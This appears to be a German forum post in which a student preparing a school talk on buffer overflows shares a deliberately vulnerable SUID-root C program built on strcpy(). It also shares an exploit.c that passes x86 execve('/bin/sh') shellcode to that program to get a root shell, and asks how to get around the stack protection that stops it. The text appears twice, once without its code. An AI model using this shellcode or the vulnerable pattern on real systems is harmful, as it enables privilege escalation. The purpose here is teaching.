![[HaBo]](/styles/default/logoklein.png){kind=small}
Hallöle,
da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade damit. Ich will unter anderem ein kleines Beispiel zeigen, das ich gerade vorbereite.
Mein "unsicheres Programm" ist mit SUID-Bit ausgestattet und gehört dem Herrn Root.
Dieses Programm wird als bei dem Aufruf "./harmloses_programm asdf" von Root ausgeführt. Ich möchte es jetzt schaffen, dass aufgrund der unsicheren Funktion strcpy() eine Root-Konsole gestartet wird.
Und zwar mit diesem Programm (exploit.c):
Das Ganze habe ich jetzt unter Kubuntu 8.04 (Linux 2.6.24-22-generic) mit gcc 4.2.4 (Ubuntu 4.2.4-1ubuntu3) kompiliert und dann die exploit.c ausgeführt. Leider kapiert er den Buffer Overflow und somit kommt folgende Meldung:
Ich würde dieses Beispiel trotzdem gerne vorführen. Gibt es eine Möglichkeit, diese "Prüfung" auf Buffer Overflows zu verhindern? Oder irgendeine andere funktionierende Möglichkeit wie ich dieses Biespiel aufbauen könnte? Habe ich irgendetwas falsch gemacht?
Liebe Grüße
Woosh
da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade damit. Ich will unter anderem ein kleines Beispiel zeigen, das ich gerade vorbereite.
Mein "unsicheres Programm" ist mit SUID-Bit ausgestattet und gehört dem Herrn Root.
Code:
// harmloses_programm.c
#include <stdio.h>
#include <string.h>
void unsichere_funktion(char *param) {
char variable[20];
strcpy(variable, param);
}
int main(int argc, char *argv[]) {
unsichere_funktion(argv[1]);
return(0);
}Dieses Programm wird als bei dem Aufruf "./harmloses_programm asdf" von Root ausgeführt. Ich möchte es jetzt schaffen, dass aufgrund der unsicheren Funktion strcpy() eine Root-Konsole gestartet wird.
Und zwar mit diesem Programm (exploit.c):
Code:
// exploit.c
int main() {
system("./harmloses_programm \x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80");
return(0);
}Das Ganze habe ich jetzt unter Kubuntu 8.04 (Linux 2.6.24-22-generic) mit gcc 4.2.4 (Ubuntu 4.2.4-1ubuntu3) kompiliert und dann die exploit.c ausgeführt. Leider kapiert er den Buffer Overflow und somit kommt folgende Meldung:
Ich würde dieses Beispiel trotzdem gerne vorführen. Gibt es eine Möglichkeit, diese "Prüfung" auf Buffer Overflows zu verhindern? Oder irgendeine andere funktionierende Möglichkeit wie ich dieses Biespiel aufbauen könnte? Habe ich irgendetwas falsch gemacht?
Liebe Grüße
Woosh
